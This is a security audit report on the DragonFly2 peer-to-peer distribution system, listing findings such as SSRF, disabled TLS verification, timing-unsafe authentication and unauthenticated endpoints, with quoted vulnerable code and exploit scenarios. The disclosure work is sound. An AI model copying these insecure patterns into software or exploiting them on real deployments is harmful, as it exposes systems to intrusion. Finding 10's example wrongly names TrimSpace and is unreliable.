

## DragonFly2

Security assessment by HashEye · prepared for OSTIF

HASHEYE AUDITED

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DragonFly2 Security Assessment September 14, 2023 Prepared for: Wenbo Qi DragonFly2 Organized by the Open Source Technology Improvement Fund, Inc. Prepared by: Paweł Płatek and Sam Alws

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Executive Summary Engagement Overview OSTIF engaged HashEye to review the security of DragonFly2, a peer-to-peer file distribution system. A team of two consultants conducted the review from July 10, 2023 to July 21, 2023, for a total of four engineer-weeks of effort. Our testing efforts focused on potential privilege escalation and denial-of-service attacks. With full access to source code and documentation, we performed static and dynamic testing of the DragonFly2 codebase, using automated and manual processes. Observations and Impact The security review discovered numerous low-level vulnerabilities that could have been caught with more robust tests and static analysis (e.g., TOB-DF2-3 , TOB-DF2-7 , TOB-DF2-9 ). A few vulnerabilities manifest serious issues in the system's design. Examples include the ability of remote peers to manipulate other peers' filesystems ( TOB-DF2-12 ), which may result in remote code execution, and weak integrity verification of files and images shared in the network ( TOB-DF2-15 ). Moreover, dozens of features seem not to be fully implemented, which leads to critical vulnerabilities (e.g., TOB-DF2-13 ). Recommendations Based on the codebase maturity evaluation and findings identified during the security review, HashEye recommends that the DragonFly2 developers take the following steps: • Remediate the findings disclosed in this report. These findings should be addressed as part of a direct remediation or as part of any refactor that may occur when addressing other recommendations. • Perform a threat modeling exercise. For every component in the system, enumerate all entrypoints and decide where to lay trust boundaries. From there, research risks related to using data from potentially malicious, external parties. The exercise should detect and find mitigations for issues like TOB-DF2-15 . Moreover, it should be accompanied by cryptographic protocol review, as the DragonFly2 system implements a Public Key Infrastructure architecture that is hard to implement securely. • Redesign the file handling mechanism in peers. Currently, remote peers can fully control other peers' filesystems. DragonFly2 should "sandbox" peers' filesystems so that only a limited subset of the filesystem is used. HashEye 5 DragonFly2 Security Assessment PUBLIC

- Remove support for the MD5 hashing algorithm. It does not provide any benefits over more secure algorithms like SHA256 or SHA3, and is not collision-resistant. The MD5 should not be supported, even optionally, to avoid downgrade attacks.
- Review implementations of low-level networking functionalities (e.g., HTTP proxy, HTTP header parsing) against standards and known attacks like request smuggling, parsing discrepancies, and mishandling of custom HTTP headers. In particular, establish trust assumptions around the Proxy component, and review relevant attack vectors to ensure that the component does not compromise the whole system's security.
- Finish implementation of DragonFly2. There are numerous TODO and FIXME comments in the whole codebase. Even security-critical features are currently not yet implemented, leaving the system in a state of ambiguous security guarantees.
- Advance static analysis used in the continuous integration (CI) pipeline. Currently, only CodeQL with default build settings and the default ruleset is used. The build settings may need adjustment so that the generated CodeQL database is complete, as building the DragonFly2 is a complex task. Adding tools like Semgrep and golangci-lint should follow. The following tables provide the number of findings by severity and category. HashEye 6 DragonFly2 Security Assessment PUBLIC

EXPOSURE ANALYSIS Severity Count High 5 Medium 1 Low 4 Informational 5 Undetermined 4 CATEGORY BREAKDOWN Category Count Auditing and Logging 1 Authentication 3 Configuration 1 Data Validation 9 Denial of Service 1 Error Reporting 1 Timing 2 Undefined Behavior 1 HashEye 7 DragonFly2 Security Assessment PUBLIC

Project Summary Contact Information The following managers were associated with this project: Dan Guido , Account Manager Jeff Braswell , Project Manager dan@hashey.io jeff.braswell@hashey.io The following engineers were associated with this project: Paweł Płatek , Consultant Sam Alws , Consultant pawel.platek@hashey.io sam.alws@hashey.io Project Timeline The significant events and milestones of the project are listed below. Date Event July 6, 2023 Pre-project kickoff call July 18, 2023 Status update meeting July 24, 2023 Delivery of report draft July 24, 2023 Report readout meeting September 14, 2023 Delivery of comprehensive report HashEye 8 DragonFly2 Security Assessment PUBLIC

Project Goals The engagement was scoped to provide a security assessment of DragonFly2. Specifically, we sought to answer the following non-exhaustive list of questions: • Is it possible to perform a denial-of-service attack on a DragonFly network? • Is it possible for an attacker to gain administrative privileges? • Are Man-in-the-Middle attacks that change the contents of transferred files possible? • Can an attacker gain code execution or file access on a DragonFly node? • Is potentially untrusted data always thoroughly validated? HashEye 9 DragonFly2 Security Assessment PUBLIC

Project Targets The engagement involved a review and testing of the targets listed below. Dragonfly2 Repository <https://github.com/dragonflyoss> Version b3a516804fb873d10d866979a0c6353b148cd3f1 Type Go Platform Unix, macOS Nydus Repository

**Project Coverage** This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches included the following: • Use of Semgrep and CodeQL static analysis tools • Use of fuzz testing on the gRPC handlers • A manual review of client ( dfget daemon ), scheduler, and manager code. The review focused on externally accessible endpoints (e.g., gRPC, HTTP) and high-level business logic. ◦ Many specialized features of these components were not reviewed due to time constraints (see next section).  
**Coverage Limitations** Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. During this project, we were unable to perform comprehensive testing of the following system elements, which may warrant further review: • dfcache and dfstore were only partially reviewed • Clients configurations (code in client/config directory) • Command-line programs (code in cmd directory) • Example deployments (code in deploy and hack directory) • Code in the internal directory • The following parts of the Manager component: ◦ Authentication (JWT, OAuth, RBAC) was only slightly reviewed ◦ Cache ◦ Database ◦ Searcher ◦ gRPC server (especially authentication) • The scheduler/announcer subcomponent • Code in the trainer directory and any other code related to Artificial Intelligence or Machine Learning features of DragonFly2 • Code in the pkg directory, as only a very limited amount of the code that was tightly coupled with the reviewed components was audited HashEye 11 DragonFly2 Security Assessment PUBLIC

**Automated Testing** HashEye uses automated techniques to extensively test the security properties of software. We use both open-source static analysis and fuzzing utilities, along with tools developed in house, to perform automated testing of source code and compiled software.  
**Test Harness Configuration** We used the following tools in the automated testing phase of this project: Tool Description Policy Semgrep An open-source static analysis tool for finding bugs and enforcing code standards when editing or committing code and during build time. Appendix D CodeQL A code analysis engine developed by GitHub to automate security checks. Appendix D Go fuzzing A standard, built-in Go fuzzer. Appendix E HashEye 12 DragonFly2 Security Assessment PUBLIC

**Codebase Maturity Evaluation** HashEye uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development life cycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.  
**Category Summary Result** Arithmetic No issues with arithmetic were detected during the audit. However, we noticed a lack of code checking for integer overflows. Due to time constraints, we have not verified whether overflows are possible. We recommend reviewing and testing the code against this kind of issue. Moreover, use of the architecture-dependent int type may impact system's correctness (see TOB-DF2-19 ).  
**Further Investigation Required** Auditing Log density and the quality of information logged appear to be sufficient. However, we did not try to verify if that is true for all execution paths and if all information required to perform incident response is always logged. Moreover, the security controls for log transition, storage, integrity, retention and rotation, and monitoring and alerting mechanisms were not audited.  
**Further Investigation Required** Authentication / Access Controls We discovered numerous vulnerabilities resulting from incorrect or missing authentication and access controls. In general, it is unclear what are the trust assumptions and trust boundaries in the system. The DragonFly2 team should perform a threat modeling exercise to discover the assumptions, boundaries, and all relevant security controls, and to clarify and document possible high-level risks in the system. From a high-level perspective, our findings pose immediate questions about the following system's properties: • Which parts of Manager web UI should be Weak HashEye 13 DragonFly2 Security Assessment PUBLIC

authenticated and which are available publicly? ( TOB-DF2-1 ) • Who should have network access to the Manager web UI? • With what external parties does the Manager communicate? How can it authenticate the parties? How can the parties authenticate the Manager? ( TOB-DF2-3 ) • For which connections TLS is enabled? How can it be configured? ( TOB-DF2-17 ) • Who are the potential adversaries against which the Proxy's authentication protects? • What are the possible attack vectors against the Proxy? ( TOB-DF2-8 ) • Is it assumed that a peer may try to gain arbitrary code execution capabilities on another peer's machine? ( TOB-DF2-12 ) • Should peers be able to access other peer's files located in the whole filesystem, or only in specific parts of the filesystem? • Should a dfget daemon have access to the whole filesystem, or should it operate only on a limited set of directories? • How does the mutual TLS authentication provide authentication to peers? How does the TLS certificate issuer verify the authenticity of an actor requesting a certificate? ( TOB-DF2-13 ) • How can TLS certificates be rotated and revoked? • How can the Certificate Authority's (CA) root certificate be rotated? • How can peers securely obtain the correct CA certificate? • How integrity of files and images distributed in a peer-to-peer network is verified?

Who is responsible for the integrity verification and when? • Do files and images integrity protections require collision resistance, or only preimage security? ( TOB-DF2-15 ) Complexity Management Multiple code pieces are a repeated, boilerplate code. One example is WithDefault \* methods in a Proxy, which could be written in a more generic way. Another example is getter handlers in the Manager ( GetSchedulers , GetUsers , GetSeedPeerClusters , Moderate HashEye 14 DragonFly2 Security Assessment PUBLIC

...): because all of these functions follow the same structure with only minor differences, they could be extracted to a single, generic method. This will help to avoid copy-paste bugs like missing important method calls (e.g., calls to setPaginationDefault ). There are multiple TODO and FIXME comments, some of which indicate missing security controls (e.g., a comment indicating permanently disabled TLS ). Moreover, multiple context.TODO() methods are used, instead of well defined contexts. Some functions are not used, hindering code readability. Examples include the RandString and recoverFromPanic methods. Parallel v1 and v2 versions of components add a significant amount of complexity. A clearer way of migration between versions should be designed. Ideally, a code reviewer should see only code specific to a selected version. Configuration We did not review configuration of components. Not Considered Cryptography and Key Management DragonFly2 makes use of cryptography (e.g., TLS, x509 PKI for mTLS, user passwords authentication), but this area was not audited due to time constraints. We note that the system usually uses modern cryptographic libraries with robust algorithms (with the exception described in TOB-DF2-8 ). On the other hand, some critical operations, such as key generation and establishment of Certificate Authority keys, are not automated and are left for users to perform. Further Investigation Required Data Handling It is not certain which data is considered to be trusted and which is potentially malicious (this ambiguity resulted in, e.g., TOB-DF2-2 and TOB-DF2-12 ). Clarifying this will be beneficial, as having a clear threat model for the system will allow users to reason about the security guarantees it provides. The process could begin by, for example, enumerating all entrypoints to all system components. Data is validated to some extent, but there are missing Moderate HashEye 15 DragonFly2 Security Assessment PUBLIC

checks (see TOB-DF2-14 ). Validation routines are scattered in a few places (e.g., in the api repository and gRPC handlers ). Centralizing (limiting the amount of functions responsible for validation) and uniformizing (making similar validations for similar data types) data validation should increase the maturity of the system in this area. There are indications of overly fine-grained data handling. That is, there are operations that could be performed as one "block," but are separated and so require developers to remember the steps involved in manual "execution" of all the pieces (e.g., TOB-DF2-4 ). Moreover, there is a problem of unnecessary custom code that deals with common problems, where an existing library or APIs could be used instead. For example, URLs are handled by regexes and string operations instead of dedicated net/url API; the Proxy component is written from the scratch, where the Go ecosystem probably offers a more robust, ready-to-use solution. Documentation Documentation on the website is very limited. It does not describe some DragonFly2 concepts (like what is a Job, Task, or Peer); does not provide actionable instructions for common tasks (e.g., usage of the Manager from web UI or CLI client); and does not explain configuration options in-depth. There is no documentation bound to the source code (e.g., inside the code repository) that would explain components' structure in-depth. At minimum, a README file should be created for every module (e.g., client/daemon, client/dfget, pkg, manager) with information like the main functionality of the component, how it relates to other components, how the directory and file structure look from a functional perspective, and what are main function calls graphs. The docstrings coverage is almost sufficient, but should be improved. Some important interfaces, structures, and methods are not documented. This makes it hard to reason about functionality and the security assumptions of specific functions. For example, it is not obvious what Moderate HashEye 16 DragonFly2 Security Assessment PUBLIC

the Task structure's AddTraffic method does, nor how it handles integer overflows. Some documentation is outdated. For example, the state machine shown on the "Scheduler" documentation page is missing some of the states present in the state machine in the code. Maintenance We did not review the security of external components, which versions of such components are used by the DragonFly2, or whether the DragonFly2 team has technical or procedural controls for maintaining and updating its dependencies. We observed code that was copy-pasted from external codebases (see appendix C, issue 8 ). Further investigation is required to decide on the security of that approach to incorporating external code. It may be beneficial for the DragonFly2 system to design a more robust way of dealing with such code (e.g., by vendoring the code, or by looking for small, alternative packages implementing desired functionalities). Further Investigation Required Memory Safety and Error Handling The Go language is memory-safe, so we did not review potential memory safety issues. Error handling generally follows standard Go practices, except that some functions' error values are ignored and there are multiple unchecked type assertions. These error-prone patterns require further investigation to determine if they pose exploitable risks to the system.

Moreover, we observed a few bugs in the error handling ( TOB-DF2-16 , TOB-DF2-9 ), which should be dealt with by increasing test coverage and implementation of more advanced static analysis. Moderate Testing and Verification Unit and integration tests are included throughout the codebase. Due to the time constraints on this audit, we were not able to verify the thoroughness of the tests. Some static analysis tools are used in the CI pipeline, but more advanced configurations and tooling could be incorporated. Further Investigation Required HashEye 17 DragonFly2 Security Assessment PUBLIC

There is no fuzzing nor property testing. HashEye 18 DragonFly2 Security Assessment PUBLIC

Summary of Findings The table below summarizes the findings of the review, including type and severity details. ID Title Type Severity 1 Authentication is not enabled for some Manager's endpoints Authentication Undetermined 2 Server-side request forgery vulnerabilities Data Validation High 3 Manager makes requests to external endpoints with disabled TLS authentication Authentication Low 4 Incorrect handling of a task structure's usedTraffic field Data Validation Low 5 Directories created via os.MkdirAll are not checked for permissions Data Validation Low 6 Slicing operations with hard-coded indexes and without explicit length validation Data Validation Informational 7 Files are closed without error check Undefined Behavior Low 8 Timing attacks against Proxy's basic authentication are possible Timing Undetermined 9 Possible panics due to nil pointer dereference when using variables created alongside an error Denial of Service Medium 10 TrimLeft is used instead of TrimPrefix Data Validation Informational 11 Vertex.DeleteInEdges and Vertex.DeleteOutEdges functions are not thread safe Timing Undetermined 12 Arbitrary file read and write on a peer machine Data Validation High HashEye 19 DragonFly2 Security Assessment PUBLIC

13 Manager generates mTLS certificates for arbitrary IP addresses Authentication High 14 gRPC requests are weakly validated Data Validation Undetermined 15 Weak integrity checks for downloaded files Data Validation High 16 Invalid error handling, missing return statement Error Reporting Informational 17 Tiny file download uses hard coded HTTP protocol Configuration High 18 Incorrect log message Auditing and Logging Informational 19 Usage of architecture-dependent int type Data Validation Informational HashEye 20 DragonFly2 Security Assessment PUBLIC

Detailed Findings 1. Authentication is not enabled for some Manager's endpoints Severity: Undetermined Difficulty: High Type: Authentication Finding ID: TOB-DF2-1 Target: Dragonfly2/manager/router/router.go Description The /api/v1/jobs and /preheats endpoints in Manager web UI are accessible without authentication. Any user with network access to the Manager can create, delete, and modify jobs, and create preheat jobs. job := apiv1.Group( "/jobs" ) Figure 1.1: The /api/v1/jobs endpoint definition ( Dragonfly2/manager/router/router.go#191 ) // Compatible with the V1 preheat. pv1 := r.Group( "/preheats" ) r.GET( "\_ping" , h.GetHealth) pv1.POST( "" , h.CreateV1Preheat) pv1.GET( ":id" , h.GetV1Preheat) Figure 1.2: The /preheats endpoint definition ( Dragonfly2/manager/router/router.go#206-210 ) Exploit Scenario An unauthenticated adversary with network access to a Manager web UI uses /api/v1/jobs endpoint to create hundreds of useless jobs. The Manager is in a denial-of-service state, and stops accepting requests from valid administrators. Recommendations Short term, add authentication and authorization to the /api/v1/jobs and /preheats endpoints. Long term, rewrite the Manager web API so that all endpoints are authenticated and authorized by default, and only selected endpoints explicitly disable these security controls. Alternatively, rewrite the API into public and private parts using groups, as demonstrated in HashEye 21 DragonFly2 Security Assessment PUBLIC

this comment . The proposed design will prevent developers from forgetting to protect some endpoints. HashEye 22 DragonFly2 Security Assessment PUBLIC

2. Server-side request forgery vulnerabilities Severity: High Difficulty: Medium Type: Data Validation Finding ID: TOB-DF2-2 Target: Various locations Description There are multiple server-side request forgery (SSRF) vulnerabilities in the DragonFly2 system. The vulnerabilities enable users to force DragonFly2's components to make requests to internal services, which otherwise are not accessible to the users. One SSRF attack vector is exposed by the Manager's API. The API allows users to create jobs. When creating a Preheat type of a job, users provide a URL that the Manager connects to (see figures 2.1-2.3). The URL is weakly validated, and so users can trick the Manager into sending HTTP requests to services that are in the Manager's local network. func (p \*preheat) CreatePreheat(ctx context.Context, schedulers []models.Scheduler, json types.PreheatArgs) (\*internaljob.GroupJobState, error) { [skipped] url := json.URL [skipped] // Generate download files var files []internaljob.PreheatRequest switch PreheatType(json.Type) { case PreheatImageType: // Parse image manifest url skipped , err := parseAccessURL(url) [skipped] files, err = p.getLayers(ctx, url, tag, filter, nethttp.MapToHeader(rawheader), image) [skipped] case PreheatFileType: [skipped] } Figure 2.1: A method handling Preheat job creation requests ( Dragonfly2/manager/job/preheat.go#89-132 ) func (p \*preheat) getLayers (ctx context.Context, url,

```
tag, filter string , header http.Header, image *preheatImage) ([]internalJob.PreheatRequest, error ) { HashEye 23 DragonFly2 Security Assessment PUBLIC
```

```
ctx, span := tracer.Start(ctx, config.SpanGetLayers, trace.WithSpanKind(trace.SpanKindProducer))
defer span.End() resp, err := p.getManifests(ctx, url, header) Figure 2.2: A method called by the
CreatePreheat function ( Dragonfly2/manager/job/preheat.go#176-180 ) func (p *preheat)
getManifests(ctx context.Context, url string , header http.Header) (*http.Response, error ) { req,
err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil ) if err != nil { return nil , err
} req.Header = header req.Header.Add(headers.Accept, schema2.MediaTypeManifest) client :=
&http.Client{ Timeout: defaultHTTPRequesttimeout, Transport: &http.Transport{ TLSClientConfig:
&tls.Config{InsecureSkipVerify: true }, }, } resp, err := client.Do(req) if err != nil { return nil
, err } return resp, nil } Figure 2.3: A method called by the getLayers function (
Dragonfly2/manager/job/preheat.go#211-233 ) A second attack vector is in peer-to-peer
communication. A peer can ask another peer to make a request to an arbitrary URL by triggering the
pieceManager.DownloadSource method (figure 2.4), which calls the httpSourceClient.GetMetadata
method, which performs the request. func (pm *pieceManager) DownloadSource(ctx context.Context, pt
Task, peerTaskRequest *schedulerv1.PeerTaskRequest, parsedRange *nethhttp.Range) error { Figure 2.4:
Signature of the DownloadSource function ( Dragonfly2/client/daemon/peer/piece_manager.go#301 )
Another attack vector is due to the fact that HTTP clients used by the DragonFly2's components do
not disable support for HTTP redirects. This configuration means that an HashEye 24 DragonFly2
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HTTP request sent to a malicious server may be redirected by the server to a component's internal service. Exploit Scenario An unauthenticated user with access to the Manager API registers himself with a guest account. The user creates a preheat job—he is allowed to do so, because of a bug described in TOB-DF2-1 —with a URL pointing to an internal service. The Manager makes the request to the service on behalf of the malicious user. Recommendations Short term, investigate all potential SSRF attack vectors in the DragonFly2 system and mitigate risks by either disallowing requests to internal networks or creating an allowlist configuration that would limit networks that can be requested. Disable automatic HTTP redirects in HTTP clients. Alternatively, inform users about the SSRF attack vectors and provide them with instructions on how to mitigate this attack on the network level (e.g., by configuring firewalls appropriately). Long term, ensure that applications cannot be tricked to issue requests to arbitrary locations provided by its users. Consider implementing a single, centralized class responsible for validating the destinations of requests. This will increase code maturity with respect to HTTP request handling. HashEye 25 DragonFly2 Security Assessment PUBLIC

3. Manager makes requests to external endpoints with disabled TLS authentication Severity: Low Difficulty: Low Type: Authentication Finding ID: TOB-DF2-3 Target: Dragonfly2/manager/job/preheat.go Description The Manager disables TLS certificate verification in two HTTP clients (figures 3.1 and 3.2). The clients are not configurable, so users have no way to re-enable the verification. func getAuthToken(ctx context.Context, header http.Header) ( string , error ) { [skipped] client := &http.Client{ Timeout: defaultHTTPRequesttimeout, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true }, }, } [skipped] } Figure 3.1: getAuthToken function with disabled TLS certificate verification ( Dragonfly2/manager/job/preheat.go#261-301 ) func (p \*preheat) getManifests(ctx context.Context, url string , header http.Header) (\*http.Response, error ) { [skipped] client := &http.Client{ Timeout: defaultHTTPRequesttimeout, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true }, }, } [skipped] } Figure 3.2: getManifests function with disabled TLS certificate verification ( Dragonfly2/manager/job/preheat.go#211-233 ) HashEye 26 DragonFly2 Security Assessment PUBLIC

Exploit Scenario A Manager processes dozens of preheat jobs. An adversary performs a network-level Man-in-the-Middle attack, providing invalid data to the Manager. The Manager preheats with the wrong data, which later causes a denial of service and file integrity problems. Recommendations Short term, make the TLS certificate verification configurable in the getManifests and getAuthToken methods. Preferably, enable the verification by default. Long term, enumerate all HTTP, gRPC, and possibly other clients that use TLS and document their configurable and non-configurable (hard-coded) settings. Ensure that all security-relevant settings are configurable or set to secure defaults. Keep the list up to date with the code. HashEye 27 DragonFly2 Security Assessment PUBLIC

4. Incorrect handling of a task structure's usedTrac field Severity: Low Difficulty: Medium Type: Data Validation Finding ID: TOB-DF2-4 Target: Dragonfly2/client/daemon/peer/piece\_manager.go Description The processPieceFromSource method (figure 4.1) is part of a task processing mechanism. The method writes pieces of data to storage, updating a Task structure along the way. The method does not update the structure's usedTraffic field, because an uninitialized variable n is used as a guard to the AddTraffic method call, instead of the result.Size variable. var n int64 result.Size,

```
err = pt.GetStorage().WritePiece( [skipped] ) result.FinishTime = time.Now().UnixNano() if n > 0 {
pt.AddTraffic( uint64( n) ) } Figure 4.1: Part of the processPieceFromSource method with a bug (
Dragonfly2/client/daemon/peer/piece_manager.go#264-290 ) Exploit Scenario A task is processed by a
peer. The usedTraffic metadata is not updated during the processing. Rate limiting is incorrectly
applied, leading to a denial-of-service condition for the peer. Recommendations Short term, replace
the n variable with the result.Size variable in the processPieceFromSource method. Long term, add
tests for checking if all Task structure fields are correctly updated during task processing. Add
similar tests for other structures. HashEye 28 DragonFly2 Security Assessment PUBLIC
```

5. Directories created via os.MkdirAll are not checked for permissions Severity: Low Difficulty: High Type: Data Validation Finding ID: TOB-DF2-5 Target: Various locations Description DragonFly2 uses the os.MkdirAll function to create certain directory paths with specific access permissions. This function does not perform any permission checks when a given directory path already exists. This allows a local attacker to create a directory to be used later by DragonFly2 with broad permissions before DragonFly2 does so, potentially allowing the attacker to tamper with the files. Exploit Scenario Eve has unprivileged access to the machine where Alice uses DragonFly2. Eve watches the commands executed by Alice and introduces new directories/paths with 0777 permissions before DragonFly2 does so. Eve can then delete and forge files in that directory to change the results of further commands executed by Alice. Recommendations Short term, when using utilities such as os.MkdirAll , os.WriteFile , oroutil.WriteFile , check all directories in the path and validate their owners and permissions before performing operations on them. This will help avoid situations where sensitive information is written to a pre-existing attacker-controlled path. Alternatively, explicitly call the chown and chmod methods on newly created files and permissions. We recommend making a wrapper method around file and directory creation functions that would handle pre-existence checks or would chain the previously mentioned methods. Long term, enumerate files and directories for their expected permissions overall, and build validation to ensure appropriate permissions are applied before creation and upon use. Ideally, this validation should be centrally defined and used throughout the entire application. HashEye 29 DragonFly2 Security Assessment PUBLIC

6. Slicing operations with hard-coded indexes and without explicit length validation Severity: Informational Difficulty: High Type: Data Validation Finding ID: TOB-DF2-6 Target: Dragonfly2/client/daemon/peer/piece\_downloader.go, Dragonfly2/scheduler/resource/peer.go Description In the buildDownloadPieceHTTPRequest and DownloadTinyFile methods (figures 6.1 and 6.2), there are array slicing operations with hard-coded indexes. If the arrays are smaller than the indexes, the code panics. This finding's severity is informational, as we were not able to trigger the panic with a request from an external actor. func (p \*pieceDownloader) buildDownloadPieceHTTPRequest(ctx context.Context, d \*DownloadPieceRequest) \*http.Request { // FIXME switch to https when tls enabled targetURL := url.URL{ Scheme: p.scheme, Host: d.DstAddr, Path: fmt.Sprintf( "download/%s/%s" , d.TaskID[ : 3 ], d.TaskID), RawQuery: fmt.Sprintf( "peerId=%s" , d.DstPid), } Figure 6.1: If d.TaskID length is less than 3, the code panics ( Dragonfly2/client/daemon/peer/piece\_downloader.go#198-205 ) func (p \*Peer) DownloadTinyFile() ([] byte , error ) { ctx, cancel := context.WithTimeout(context.Background(), downloadTinyFileContextTimeout) defer cancel() // Download url: http://\${host}:\${port}/download/\${taskIndex}/\${taskID}?peerId=\${peerID} targetURL := url.URL{ Scheme: "http" , Host: fmt.Sprintf( "%s:%d" , p.Host.IP, p.Host.DownloadPort), Path: fmt.Sprintf( "download/%s/%s" , p.Task.ID[ : 3 ], p.Task.ID), RawQuery: fmt.Sprintf( "peerId=%s" , p.ID), } HashEye 30 DragonFly2 Security Assessment PUBLIC

Figure 6.2: If p.Task.ID length is less than 3, the code panics ( Dragonfly2/scheduler/resource/peer.go#436-446 ) Recommendations Short term, explicitly validate lengths of arrays before performing slicing operations with hard-coded indexes. If the arrays are known to always be of sufficient size, add a comment in code to indicate this, so that further reviewers of the code will not have to triage this false positive. Long term, add fuzz testing to the codebase. This type of testing helps to identify missing data validation and inputs triggering panics. HashEye 31 DragonFly2 Security Assessment PUBLIC

7. Files are closed without error check Severity: Low Difficulty: High Type: Undefined Behavior Finding ID: TOB-DF2-7 Target: Various locations Description Several methods in the DragonFly2 codebase defer file close operations after writing to a file. This may introduce undefined behavior, as the file's content may not be flushed to disk until the file has been closed. Errors arising from the inability to flush content to disk while closing will not be caught, and the application may assume that content was written to disk successfully. See the example in figure 7.1. file, err := os.OpenFile(t.DataFilePath, os.O\_RDWR, defaultFileMode) if err != nil { return 0 , err } defer file.Close() Figure 7.1: Part of the localTaskStore.WritePiece method ( Dragonfly2/client/daemon/storage/local\_storage.go#124-128 ) The bug occurs in multiple locations

throughout the codebase. Exploit Scenario The server on which the DragonFly2 application runs has a disk that periodically fails to flush content due to a hardware failure. As a result, certain methods in the codebase sometimes fail to write content to disk. This causes undefined behavior. Recommendations Short term, consider closing files explicitly at the end of functions and checking for errors. Alternatively, defer a wrapper function to close the file and check for errors if applicable. Long term, test the DragonFly2 system with "failure injection" technique. This technique works by randomly failing system-level calls (like the one responsible for writing a file to a disk) and checking if the application under test correctly handles the error. References • "Don't defer Close() on writable files" blog post HashEye 32 DragonFly2 Security Assessment PUBLIC

- "Security assessment techniques for Go projects", Fault injection chapter HashEye 33 DragonFly2 Security Assessment PUBLIC

8. Timing attacks against Proxy's basic authentication are possible Severity: Undetermined Difficulty: High Type: Timing Finding ID: TOB-DF2-8 Target: Dragonfly2/client/daemon/proxy/proxy.go Description The access control mechanism for the Proxy feature uses simple string comparisons and is therefore vulnerable to timing attacks. An attacker may try to guess the password one character at a time by sending all possible characters to a vulnerable mechanism and measuring the comparison instruction's execution times. The vulnerability is shown in figure 8.1, where both the username and password are compared with a short-circuiting equality operation. `if user != proxy.basicAuth.Username || pass != proxy.basicAuth.Password` { Figure 8.1: Part of the ServeHTTP method with code line vulnerable to the timing attack ( Dragonfly2/client/daemon/proxy/proxy.go#316 ) It is currently undetermined what an attacker may be able to do with access to the proxy password. Recommendations Short term, replace the simple string comparisons used in the ServeHTTP method with constant-time comparisons. This will prevent the possibility of timing the comparison operation to leak passwords. Long term, use static analysis to detect code vulnerable to simple timing attacks. For example, use the CodeQL's `go/timing-attack` query . References • Timeless Timing Attacks : this presentation explains how timing attacks can be made more efficient. • Go crypto/subtle ConstantTimeCompare method : this method implements a constant-time comparison. HashEye 34 DragonFly2 Security Assessment PUBLIC

9. Possible panics due to nil pointer dereference when using variables created alongside an error Severity: Medium Difficulty: Medium Type: Denial of Service Finding ID: TOB-DF2-9 Target: Dragonfly2/client/daemon/rpcserver/rpcserver.go, Dragonfly2/client/daemon/peer/peertask\_manager.go Description We found two instances in the DragonFly codebase where the first return value of a function is dereferenced even when the function returns an error (figures 9.1 and 9.2). This can result in a nil dereference, and cause code to panic . The codebase may contain additional instances of the bug. `request, err := source.NewRequestWithContext(ctx, parentReq.Url, parentReq.UrlMeta.Header)` if `err != nil` { `log.Errorf("generate url [%v] request error: %v", request.URL, err)` `span.RecordError(err)` `return err` } Figure 9.1: If there is an error, the `request.URL` variable is used even if the request is nil ( Dragonfly2/client/daemon/rpcserver/rpcserver.go#621-626 ) `prefetch, err := ptm.getPeerTaskConductor(context.Background(), taskID, req, limit, nil, nil, desiredLocation, false)` if `err != nil` { `logger.Errorf("prefetch peer task %s/%s error: %s", prefetch.taskID, prefetch.peerID, err)` `return nil` } Figure 9.2: `prefetch` may be nil when there is an error, and trying to get `prefetch.taskID` can cause a nil dereference panic ( Dragonfly2/client/daemon/peer/peertask\_manager.go#294-298 ) Exploit Scenario Eve is a malicious actor operating a peer machine. She sends a `dfdaemonv1.DownRequest` request to her peer Alice. Alice's machine receives the request, resolves a nil variable in the `server.Download` method, and panics. HashEye 35 DragonFly2 Security Assessment PUBLIC

Recommendations Short term, change the error message code to avoid making incorrect dereferences. Long term, review codebase against this type of issue. Systematically use static analysis to detect this type of vulnerability. For example, use HashEye' `Semgrep invalid-usage-of-modified-variable` rule . HashEye 36 DragonFly2 Security Assessment PUBLIC

10. `TrimLeft` is used instead of `TrimPrefix` Severity: Informational Difficulty: Low Type: Data Validation Finding ID: TOB-DF2-10 Target: Various locations Description The `strings.TrimLeft` function is used at multiple points in the Dragonfly codebase to remove a prefix from a string. This function has unexpected behavior; its second argument is an unordered set of characters to remove, rather than a prefix to remove. The `strings.TrimPrefix` function should be used instead. The issues that were found are presented in figures 10.1-4. However, the codebase may contain additional issues of this type. `urlMeta.Range = strings.TrimLeft(r, http.RangePrefix)` Figure 10.1: `Dragonfly2/scheduler/job/job.go#175` `rg = strings.TrimLeft(r, "bytes=")` Figure 10.2: `Dragonfly2/client/dfget/dfget.go#226` `urlMeta.Range = strings.TrimLeft(rangeHeader, "bytes=")` Figure 10.3: `Dragonfly2/client/daemon/objectstorage/objectstorage.go#288` `meta.Range = strings.TrimLeft(rangeHeader, "bytes=")` Figure 10.4:

Dragonfly2/client/daemon/transport/transport.go#264 Figure 10.5 shows an example of the difference in behavior between strings.TrimSpace and strings.TrimPrefix : strings.TrimSpace( "bytes=bbef02" , "bytes=" ) = "f02" strings.TrimPrefix( "bytes=bbef02" , "bytes=" ) = "bbef02" Figure 10.5: difference in behavior between strings.TrimSpace and strings.TrimPrefix The finding is informational because we were unable to determine an exploitable attack scenario based on the vulnerability. HashEye 37 DragonFly2 Security Assessment PUBLIC

Recommendations Short term, replace incorrect calls to string.TrimSpace method with calls to string.TrimPrefix . Long term, test DragonFly2 functionalities against invalid and malformed data, such HTTP headers that do not adhere to the HTTP specification. HashEye 38 DragonFly2 Security Assessment PUBLIC

